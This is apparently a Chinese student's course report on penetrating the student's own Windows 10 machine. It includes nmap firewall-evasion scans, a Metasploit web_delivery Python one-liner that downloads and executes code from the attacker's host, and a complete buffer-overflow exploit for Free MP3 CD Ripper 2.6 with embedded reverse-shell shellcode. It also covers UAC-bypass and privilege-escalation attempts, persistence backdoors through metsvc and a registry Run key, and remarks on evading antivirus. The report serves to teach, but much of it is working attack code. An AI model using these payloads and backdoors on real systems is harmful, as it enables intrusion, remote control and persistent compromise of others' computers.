20165230田坤燁網絡對抗免考報告_基於WIN10的滲透攻擊

簡單信息收集

主機發現

ping

  • 經過ping 命令發送ICMP報文的方法檢測WIN10主機是否在線
    git

  • 能收到回覆包,證實主機在線,並能相互通訊github

nmap

nmap -sn

  • 用來探測活躍主機web

    這個命令會發送arp請求包探測目標ip是否在線,若是有arp回覆包,則說明在線。此命令能夠探測目標主機是否在線,若是在線,還能夠獲得其MAC地址。可是不會探測其開放的端口號。
    sql

端口掃描

nmap

nmap -sS

TCP SYN 掃描(-sS)
這是Nmap默認的掃描方式,一般被稱做半開放掃描。該方式發送SYN到目標端口,若是收到SYN/ACK回覆,那麼能夠判斷端口是開放的;若是收到RST包,說明該端口是關閉的。若是沒有收到回覆,那麼能夠判斷該端口被屏蔽了。由於該方式僅發送SYN包對目標主機的特定端口,但不創建完整的TCP鏈接,因此相對比較隱蔽,並且效率比較高,適用範圍廣。shell

  • 結果顯示爲filtered,nmap不可以決定端口的開放狀態,這主要是因爲網絡或者主機安裝了一些防火牆所致使的。當nmap收到icmp報文主機不可達報文或者目標主機無應答,經常會將目標主機的狀態設置爲filtered。
    windows

  • 把防火牆關閉試一下,能夠看見主機開啓的端口有135/139/443/445/902/912
    安全

OS及服務版本探測

nmap -sV

  • 經過nmap -sV 192.168.43.38掃描物理機,-sV是參數,命令nmap對目標進行端口對應相關應用程序進行掃描

繞過防火牆嘗試

誘餌

這種類型的掃描是很是隱蔽且沒法察覺。目標由多個假冒或僞造IP地址進行掃描。這樣防火牆就會認爲攻擊或掃描是經過多個資源或IP地址進行,因而就繞過了防火牆。
這實際上在目標看來是由多個系統同時掃描,這使得防火牆更難追查掃描的來源。服務器

  • 經過nmap –D decoy1,decoy2,decoy3 target來嘗試欺騙防火牆

隨機數據長度

附加隨機數據長度,咱們也能夠繞過防火牆。許多防火牆經過檢查數據包的大小來識別潛伏中的端口掃描。這是由於許多掃描器會發送具備特定大小的數據包。爲了躲避那種檢測,咱們可使用命令–data-length增長額外的數據,以便與默認大小不一樣。在下圖中,咱們經過加入25多個字節改變數據包大小。網絡

  • 經過nmap --data-length 25 192.168.43.38命令進行隨機數據長度嘗試

隨機順序掃描目標

選項–randomize-host用於隨機 順序掃描指定目標。–randomize-host有助於防止因連續 掃描多個目標而防火牆和入侵檢測系統檢測到。

  • 經過nmap --randomize-hosts 192.168.43.38

MAC地址欺騙

每臺機器都有本身獨特的mac地址。所以這也是繞過防火牆的另外一種方法,由於某些防火牆是基於MAC地址啓用規則的。爲了得到掃描結果,須要先了解哪些MAC地址可使用。這能夠經過手動或先進的模糊測試完成。
特別是–spoof-MAC選項可以從一個特定的供應商選擇一個MAC地址,選擇一個隨機的MAC地址,或者設定您所選擇的特定MAC地址。 MAC地址欺騙的另外一個優勢是,讓掃描隱蔽,實際MAC地址就不會出如今防火牆的日誌文件。

  • 經過nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target命令

實現win10的滲透攻擊

CVE-2017-0199(失敗)

漏洞原理

  • 該漏洞利用OFFICE OLE對象連接技術,將包裹的惡意連接對象嵌在文檔中,OFFICE調用URL Moniker(COM對象)將惡意連接指向的HTA文件下載到本地, 當用戶打開包含嵌入式漏洞的文檔時,winword.exe 會向遠程服務器發出 HTTP 請求,以檢索惡意 HTA 文件,服務器返回的文件時一個帶有嵌入式惡意腳本的假 RTF 文件,winword.exe 經過 COM 對象查找 application/hta 的文件處理程序,這會致使 Microsoft HTA 應用程序(mshta.exe),加載惡意攻擊者下載並執行包含 PowerShell 命令的 Visual Basic 腳本。

實現過程

  1. 下載cve-2017-0199.rtf:git clone https://github.com/bhdresh/CVE-2017-0199.git
  2. 此命令將運行一個python腳原本生成富文本格式的有效載荷,其中-M用於生成rtf文件,-w用於生成rtf文件的名稱,即sales.rtf, -u爲攻擊者的IP地址或域名。
cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w exploit.rtf -u http://192.168.1.24/raj.doc

  1. exploit.rtf放到win10靶機中
    在咱們將這個文件發送給被攻擊者以前,咱們須要將它嵌套到任何後門文件中,以便咱們能夠創建與被攻擊者的反向鏈接。
  2. 進入msfconsole執行監聽:
msf> use multi/handler
msf exploit(handler )> set payload windows/meterpreter/reverse_tcp
msf exploit(handler )> set lhost 192.168.43.14
msf exploit(handler )> set lport 5230
msf exploit(handler )> exploit
  1. 失敗

EasyFileSharing模塊(失敗)

攻擊過程

  1. search 具體EasyFileSharing模塊

  2. 具體操做
use exploit/windows/http/easyfilesharing_post
show options
set lhost 192.168.43.14
set lport 5230
set rhosts 192.168.43.38
set rport 80
exploit
  • 失敗

msf web_delivery模塊攻擊(成功)

攻擊原理

  • 此模塊支持在本地監聽一個端口,別人一旦訪問該端口就會將該端口內的文件讀取至本地執行(把webshell放在該端口下剛恰好)
  • 有兩種利用方式:
    • 1.命令注入漏洞:
      在命令行注入:生成的命令
    • 2.遠程文件包含漏洞:
      在包含漏洞處包含:生成的網址

攻擊過程

  1. search web_delivery

  2. 具體過程
use exploit/multi/script/web_delivery
show options
set lhost 192.168.43.14
set lport 5230

exploit

  • 能夠看見生成payload:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.43.14:8080/3ztfplpmKzCmFI');exec(r.read());"
  • 複製payload到Win10上面運行
  • 返回kali攻擊機,已經反彈回了一個session
  • 輸入命令sessions -i 3進入,成功獲取了目標機

CVE-2019-9766(成功)

漏洞原理

  • Free MP3 CD Ripper是一款音頻格式轉換器。Free MP3 CD Ripper 2.6版本中存在棧緩衝區溢出漏洞。遠程攻擊者可藉助特製的.mp3文件利用該漏洞執行任意代碼

攻擊過程

  • 靶機:Win10

  • 利用msf生成反向鏈接的shellcode,

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest

  • 替換腳本中的shellcode.
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

buffer = "A" * 4116

NSEH = "\xeb\x06\x90\x90"

SEH = "\x84\x20\xe4\x66"

nops = "\x90" * 5

buf = ""

buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81"
buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

pad = "B" * (316 - len(nops) - len(buf) )

payload = buffer + NSEH + SEH + nops + buf +pad

 

try:

    f=open("TestFMCR.mp3","w")

    print "[+] Creating %s bytes mp3 File..." %len(payload)

    f.write(payload)

    f.close()

    print "[+] mp3 File created successfully!"

except:

    print "File cannot be created!"

原理解釋

  • 關鍵代碼:填充+nseh+seh+nop+shellcode

  • 填充:數據覆蓋直到函數返回地址
    • nseh : next seh 指示下一個seh結構的位置,在這裏使用"\xeb\x06\x90\x90"填充是一個通用的填充方法,這四個字節反彙編的結果是 jmp 6 nop nop這樣三條指令,緣由是jmp 6個字節恰好繞過兩個nop指令和一個4字節的seh處理程序的地址,落入nop指令區,而後滑行進入shellcode

    • seh : seh處理程序地址部分填入的是一個指向pop pop ret 這樣連續三條指令的一個地址,這樣填充緣由是,在異常出現時,先保存當前棧定,而後系統會在棧裏面壓入兩個參數,因此兩個pop是pop出來系統壓的參數,而後ret到nseh的位置,接着開始執行指令,而後參考上面nseh的數據介紹就能夠。
  • 2.運行腳本,生成惡意mp3文件,python FmcrExploit.py

  • 3.移動惡意文件到靶機windows10上

  • 4.打開msf並設置監聽

  • 在主機上打開Free MP3 CD Ripper軟件

  • 回連成功!

進行提權

普通提權

  • 獲取會話後經過命令getsystem進行提權,顯示沒有權限

利用系統漏洞

  • 能夠利用metasploit下已有的提權漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。

ms16_032

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set lport 5230
set session 3
exploit
  • 失敗

powerup命令行提權

  • 一般,在Windows下面咱們能夠經過內核漏洞來提高權限,可是,咱們經常會碰到所處服務器經過內核漏洞提權是行不通的,這個時候,咱們就須要經過脆弱的Windows服務提權,好比咱們替換掉服務所依賴的DLL文件,當服務重啓時,加載咱們替換的DLL文件從而完成好比添加管理員帳號的操做。或者經過常見的Mssql,Mysql等服務,經過其繼承的系統權限來完成提權等等,使用Powershell框架-Powerup,此框架能夠在內核提權行不通的時候,幫助咱們尋找服務器脆弱點進而經過脆弱點實現提權的目的。
  1. 首先須要下載此腳本:Powerup,以後加載此腳本:
powershell.exe -nop -exec bypass
Import-Module .\powerup.psm1
  • 加載完成之後,即可以使用Powerup中的全部模塊,經過以下命令能夠查看全部模塊:Get-Command -Module powerup
  1. 首先添加低權限測試帳號,使用管理員身份運行cmd,添加測試帳號:C:\Windows\system32>net user powerup 1 /add
  2. 執行Invoke-AllChecks:PS C:\> Invoke-AllChecks

繞過UAC進行提權

  • 查看bypassuac的模塊

  • (1)首先須要在meterpreter下執行background命令讓當前會話保存到後臺。
  • (2)使用sessions命令能夠查看全部後臺的會話,每一個session對應一個id值,後面會常常用到。
  • (3)主要使用三個模塊
  1. exploit/windows/local/bypassuac
  2. exploit/windows/local/bypassuac_injection_winsxs
  3. exploit/windows/local/bypassuac_sluihijack
  • 一個一個的嘗試,具體過程以下
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit
  • 失敗1。。。。
  • 失敗2。。。
  • 失敗3.。。。。

後門

  • Meterpreter的shell運行在內存中,目標重啓就會失效,若是管理員給系統打上補丁,那麼就沒辦法再次使用exploit獲取權限,因此須要持久的後門對目標進行控制。
    Msf提供了兩種後門,一種是metsvc(經過服務啓動),一種是persistence(支持多種方式啓動)。

metsvc

  • (1)run metsvc

  • (2)命令運行成功後會在C:WindowsTEMP目錄下新建隨機名稱的文件夾,裏面生成3個文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。

  • 同時會新建一個服務,顯示名稱爲Meterpreter,服務名稱爲metsvc,啓動類型爲」自動」,綁定在31337端口。
  • (3) 鏈接後門
    使用exploit/multi/handler模塊,payload設置爲windows/metsvc_bind_tcp,設置目標ip和綁定端口31337。

persistence

使用run persistence -h查看參數。
-A:安裝後門後,自動啓動exploit/multi/handler模塊鏈接後門
-L:自啓動腳本的路徑,默認爲%TEMP%
-P:須要使用的payload,默認爲windows/meterpreter/reverse_tcp
-S:做爲一個服務在系統啓動時運行(須要SYSTEM權限)
-T:要使用的備用可執行模板
-U:用戶登錄時運行
-X:系統啓動時運行
-i:後門每隔多少秒嘗試鏈接服務端
-p:服務端監聽的端口
-r:服務端ip
  • 在C:\Users***\AppData\Local\Temp\目錄下,上傳一個vbs腳本
    在註冊表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開機啓動項
  • (1)生成後門
    命令:run persistence -X -i 1 -p 5230 -r 192.168.43.14
  • 查看其修改的鍵值

  • (2)鏈接後門
  • 使用exploit/multi/handler模塊,payload設置爲windows/meterpreter/reverse_tcp,同時設置好服務端監聽ip和端口。
  • 下次重啓電腦時,能夠保持會話

心得體會

  • 此次實踐的靶機用了本身的win10電腦,每一次嘗試攻擊都讓我以爲心驚膽戰,中途360報了好幾回中了木馬,我還不敢隔離,懼怕本身以前作出的成果被刪,致使沒法分析。期間遇到了不少問題,去網上聽了不少滲透測試分析課,也看了無數篇資料,當看到kali裏返回了win10的shell的時候,內心真的很知足!
  • 先從信息收集開始,若是靶機開了防火牆,基本nmap的全部命令都沒法得到有效的信息。因而嘗試不少方法去實現繞過防火牆的信息收集,但簡單的nmap命令仍是沒能成功,須要藉助其餘的工具來幫助繞過。而後是對win10實現滲透攻擊,中途嘗試了不少CVE漏洞,不少win10都已經補上了補丁,還有一些通過了版本更新,最終找到了一個MP3軟件的緩衝區溢出漏洞和一個msf中的下載模塊,得到shell的時候360沒有報出有木馬,mp3文件也沒有被刪除,能夠達到免殺的目的。在獲取shell的基礎上,還想要進行更多的操做,進行後滲透攻擊,如提權和再次使用exploit獲取權限,須要持久的後門對目標進行控制。提權的過程當中也遇到了不少問題,嘗試了不少方法,找了不少提權漏洞,有不少漏洞是做爲一個獨立的步驟進行攻擊,但不是在得到win10shell的基礎上經過一系列指令而達到提權的目的,而經過一系列的命令來實現提權又難以實現,須要在這個課題上進一步的進行研究和嘗試。安裝後門的過程比較順利,能夠維持訪問,但被360發現系統自啓動項鍵值被修改,這一步沒有實現免殺。
  • 經過完整的滲透測試,讓我對網絡攻防有了更加深刻的理解和掌握。整個過程就是在理清思路的基礎上不斷的嘗試新的方法,達到本身的目的。學習的方法就在於此,每一次學習都應該先理清思路,重要的不是跟着步驟一步一步作完,而是知道要作什麼,爲何要這樣作,這樣作會有什麼結果,以及還有什麼別的方法能夠獲得一樣的結果。在這個過程也提升了發現問題,分析問題和解決問題的能力。
  • 網絡安全是一個很大的課題,每年都有成千上萬個系統漏洞被白帽子們發現,被黑客攻擊,被不法分子利用,現在我所掌握的知識都只是一點皮毛,要想真正作到會攻擊也會防攻擊,還須要走很長很長的路。在此謝謝老師對我課題的指導和幫助,我將在之後的學習中進一步的研究和嘗試,不斷完善本身不斷提升本身。
相關文章
相關標籤/搜索